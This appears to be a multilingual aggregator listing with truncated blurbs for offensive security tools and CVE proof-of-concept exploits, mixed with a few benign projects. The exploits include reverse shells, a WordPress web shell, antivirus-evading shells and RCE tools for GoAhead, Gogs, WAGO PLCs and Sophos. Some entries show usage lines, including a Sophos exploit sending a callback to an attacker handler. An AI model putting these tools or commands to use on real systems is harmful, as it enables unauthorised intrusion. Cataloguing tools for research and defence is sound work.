traitor

Traitor Automatically exploit low-hanging fruit to pop a root shell. Linux privilege escalation made easy! Traitor packages up a bunch of methods to exploit local misconfigurations and vulnerabilities in order to pop a root shell: Nearly all of GTFOBins Writeable docker.sock CVE-2022-0847 Dirty...

CVE-2019-0708-EXP-Windows

CVE-2019-0708-EXP-Windows-Version Disclaimer The author's PoC is for research purposes only. If readers use this PoC for other activities, the author is not responsible. Table of Contents toc Introduction CVE-2019-0708-EXP-Windows version runs as a single executable file, no need for Linux, Pytho...

CVE-2017-17562

CVE-2017-17562 RCE GoAhead web server 2.5 3.6.5 Standalone Python 3 reverse shell exploit for CVE-2017-17562, works on GoAhead web server versions 2.5 3.6.5. Blog article here. Written and tested on Python 3.7 based on POC and vulnerable environment here. Some code borrowed from the Metasploit...

faxhell

faxhell（“Fax Shell”） 一个利用 Fax 服务和基于 Ualapi.dll 的 DLL 劫持的概念验证型绑定后门。 详见我们的文章：https://windows-internals.com/faxing-your-way-to-system/ 如何使用 构建 Ualapi.dll 并放入 c:\windows\system32 启动 Fax 服务，该服务将加载 DLL 并调用导出函数 UalStart。UalStart 会将一个线程池工作项排队，该工作项将打开一个指向 RpcSs 的句柄，找到 SYSTEM...

serverless-prey

Puma Security Serverless Prey Serverless Prey is a collection of serverless functions FaaS, that, once launched to a cloud environment and invoked, establish a TCP reverse shell, enabling the user to introspect the underlying container: Panther: AWS Lambda written in Node.js Cougar: Azure Functio...

serverless-prey

Puma Security 无服务器猎物 Serverless Prey 是一组无服务器函数（FaaS），一旦部署到云环境并触发，即可建立 TCP 反向 Shell，使用户能够探查底层容器： Panther：用 Node.js 编写的 AWS Lambda 函数 Cougar：用 C 编写的 Azure 函数 Cheetah：用 Go 编写的 Google Cloud 函数 此仓库还包含使用这些函数进行的研究，包括有关机密存储位置、如何提取敏感数据以及识别监控/事件响应数据点的文档。 免责声明 Serverless Prey 函数仅供研究使用，不应部署到生产账号中。...

NamedPipePTH

NamedPipePTH 该项目是一个概念验证代码，用于在本地命名管道用户模拟中使用传递哈希（Pass-the-Hash）进行身份验证。另有一篇博客文章进行解释： https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/ 它基于项目 Invoke-SMBExec.ps1 和 RoguePotato 的代码实现。 过去我曾在某些 Offensive Security 项目中遇到这样的情况：我已经拥有一个 低权限 用户账户的 NTLM 哈希，需要在该用户账户下获取当前已沦陷系统的 shell——但现有的公共工具无法实现。假设这种情况还面临两个事实：NT...

CVE-2026-24061-PoC-Exploit

🚀 CVE-2026-24061 - Exploit de omisión de autenticación de GNU inetutils-telnetd Edición GNU inetutils-telnetd - Inyección CRLF para omisión de autenticación y shell root instantánea 📌 Resumen Este exploit aprovecha CVE-2026-24061 , una vulnerabilidad crítica de omisión de autenticación remota en...

CVE-2019-7069-POC

Kibana ⚠️ Aviso: Este script es solo para fines educativos y pruebas de penetración autorizadas. No lo uses en sistemas que no poseas o para los que no tengas permiso explícito. El autor y los colaboradores no son responsables por el mal uso o daño causado por esta herramienta. 🎯 ¿Qué es esto? Est...

ish

iSH iSH 是一个运行在 iOS 上的 Linux shell。本项目使用了 x86 用户模式仿真和系统调用翻译转换。 请查看 issue 和提交记录以了解本项目当前的状态。 App Store 页面 Testflight 测试 Discord 服务器 维基帮助与教程 上手 本项目下包含了其他 git 项目作为子模块，请确保在克隆时使用参数--recurse-submodules，即 git clone --recurse-submodules https://github.com/ish-app/ish.git。或是在克隆好了之后执行 git submodule update...

ish

iSH A project to get a Linux shell running on iOS, using usermode x86 emulation and syscall translation. For the current status of the project, check the issues tab, and the commit logs. App Store page TestFlight beta Discord server Wiki with help and tutorials README中文 如若未能保持最新，请提交PR以更新 Hacking...

wordpress-shell

wordpress-shell Shell de ejecución de comandos de Wordpress barata y desagradable. ¡Ejecuta comandos como el servidor web con el que sirves Wordpress! El shell subido probablemente estará en /wp-content/plugins/shell/shell.php Instalación Para instalar el shell, asumimos que tienes acceso...

CVE-2023-1698

wagoexploit.py - Exploit PoC para CVE-2023-1698 🚀 Acerca de wagoexploit.py es un exploit de prueba de concepto PoC para CVE-2023-1698 , una vulnerabilidad crítica que afecta a PLC WAGO. Este exploit otorga al atacante acceso a la shell del dispositivo, exponiendo potencialmente operaciones...

Salsa-tools

root@kitploit: / / / / / / / / \ / / / / / / / / / / / / / / // / // / / / / // / // / //,///,/ // //// Salsa Tools - 一款蘸取辣酱风味的反病毒安全反向Shell Salsa Tools 是由三个不同工具组成的集合，结合后可让你在任何 Windows 环境中获得增强版反向Shell，且执行时甚至无需 PowerShell。为避免最新的检测技术（AMSI），大部分组件最初使用 C 编写。Salsa Tools 由 Luis Vacas 在 h-c0n...

Port-enumeration

Enumeración de puertos ¿Alguna vez te has enfrentado a la imposibilidad de usar NMap? Por ejemplo, si tienes una reverse shell como usuario no privilegiado y no hay herramientas útiles preinstaladas? Este es un pequeño script que te ayudará a escanear una red si no tienes nada. Ejemplo de uso:...

CVE-2025-8110-PoC

CVE-2025-8110 PoC Python proof-of-concept script for CVE-2025-8110 — Gogs v0.13.3 UpdateRepoFile symlink RCE. Single-shot: the malicious PUT itself triggers git fetch → sshCommand → reverse shell. ⚠️ For educational and authorized security research only. Running this tool against systems you do no...

Platypus

Platypus 适用于 Linux 机器集群的主机管理枢纽。在你拥有的每台主机上安装 Platypus 代理；代理通过 TLS + protobuf 回连到你的 Platypus 服务器；通过服务器，你可以在所有托管主机上获得交互式 Shell、文件管理和网络隧道——全部通过一个中央控制平面。 截图 一个 Vercel 风格的扁平导航 UI，包含项目仪表盘、主机/监听器/会话浏览器、多主机调度控制台和管理员用户管理器。完整图库见 docs/screenshots/。重新运行 make screenshots 可从实时应用重新生成它们。 架构 Platypus...

CVE-2022-24834

Mejora del exploit público de CVE-2022-24834 Autor Conviso Research Team Descripción El equipo de Ricerca Security @RicercaSec descubrió y explotó con éxito una vulnerabilidad interesante CVE-2022-24834 en el intérprete de Lua incluido con Redis. Esta vulnerabilidad es un desbordamiento de heap e...

Nim-Reverse-Shell

Nim 反向 Shell 一个用 Nim 编写的简单反向 Shell，可绕过 Windows Defender 检测（详见下方“已测试操作系统”部分）。此代码仅供教育用途 。 已测试操作系统 Windows 10 10.0.19045 Windows 11 10.0.22621 编译 代码可以通过 Nim 以多种方式编译。在此示例中，代码使用 MinGW 编译为 EXE，并在执行后在受害者后台运行（得益于 "--app:gui" 标志）。我强烈建议按照以下示例进行操作，以尽可能减少检测。 root@kitploit: nim c -d:mingw --app:gui revshell.n...

sophucked

sophucked CVE-2020-25223 RCE PoC, obtiene una reverse shell. Pre-auth. Lo implementé rápidamente porque se necesitaba para unificar algunos imanes de amenazas. Uso de ejemplo: root@kitploit: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + starting handler on port 80 + Sending callback to...